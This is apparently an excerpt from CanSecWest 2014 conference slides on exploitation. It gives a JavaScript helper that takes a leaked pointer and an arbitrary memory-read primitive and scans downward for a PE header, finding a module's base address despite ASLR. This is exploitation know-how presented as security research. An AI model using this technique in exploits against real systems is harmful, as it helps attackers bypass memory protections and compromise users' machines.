ROPs_are_for_the_99_CanSecWest_2014

function GetBaseAddrByPoiAddr()
Even under ASLR, module address is 0x10000
aligned, so we can find the base address of the
module according any pointer like this:
function GetBaseAddrByPoiAddr( PoiAddr )
{
var BaseAddr = 0;
BaseAddr = PoiAddr & 0xFFFF0000;
while( readDword(BaseAddr) != 0x00905A4D ||
readDword(BaseAddr+0xC) != 0x0000FFFF )
{
BaseAddr -= 0x10000;
}
return BaseAddr;
}